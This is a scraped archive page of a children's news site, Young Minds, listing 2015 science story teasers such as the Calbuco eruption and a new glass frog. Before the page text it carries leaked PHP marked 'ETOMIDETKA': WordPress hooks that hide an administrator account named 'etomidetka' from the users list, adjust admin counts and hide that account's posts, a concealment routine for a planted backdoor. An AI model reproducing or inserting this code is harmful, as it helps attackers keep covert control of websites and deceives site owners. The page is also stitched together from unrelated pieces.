//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); SCIENCE | YOUNG MINDS | Page 12

YOUNG MINDS

  • Home
  • About Us
  • Venture For All
  • Testimonials
  • Guest Editor
  • Contact Us
Home / Archive by category SCIENCE (Page 12)
Chile’s Calbuco volcano erupts after 54 years

Chile’s Calbuco volcano erupts after 54 years

Southern Chile has been put on alert as the Volcano Calbuco erupted for the first time in more than five decades on 22nd April, sending a thick plume of ash …

April 24, 2015 | SCIENCE | 0 Comments
New see-through frog discovered

New see-through frog discovered

A brand new species of ‘see-through’ glass frog has been discovered in Costa Rica, Central America. The skin of glass frogs is so see-through that …

April 22, 2015 | SCIENCE | 0 Comments
NASA Spaceship Prepares To Smash Into Mercury

NASA Spaceship Prepares To Smash Into Mercury

NASA’s Messenger probe is set to make a death plunge into Mercury, as it runs out of fuel after four years collecting data. The spacecraft will smash …

April 20, 2015 | SCIENCE | 0 Comments
‘Statue of Liberty’ sized asteroid may hit Earth in October 2017

‘Statue of Liberty’ sized asteroid may hit Earth in October 2017

Astronomers have warned that a “Statue of Liberty” sized asteroid may hit Earth in October 2017. Scientists estimated Asteroid 2012 TC4 is around …

April 16, 2015 | SCIENCE | 0 Comments
‘Blood moon’ eclipse dazzles sky watchers in USA

‘Blood moon’ eclipse dazzles sky watchers in USA

The lunar eclipse and the blood moon seem to have brought the whole world to a sort of standstill. From North America to Asia, Europe and Australia, the lunar …

April 9, 2015 | SCIENCE | 0 Comments
New energy device may power life on Mars

New energy device may power life on Mars

A new type of engine that harvests energy from carbon dioxide could power life on Mars. The technique has exciting implications for working in extreme and …

March 10, 2015 | SCIENCE | 0 Comments
Newer posts →

About Us

Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.

Young Mind News Papers Pvt. Ltd.
Plot No. 166, 2nd Floor,
Udyog Vihar Phase 1,
Gurugram-122008, Haryana (India)
E-mail : newsdesk@youngmindsonline.org
Mobile : 09811456566

Digital E-Newspaper
Only for Rs. 999 Annual 52 Issues

  • Privacy Policy
  • Terms & Conditions
  • Return, Refund and Cancellation Policy
  • Disclaimer
© 2023 Young Minds. All rights reserved.
Designed and developed by Young Minds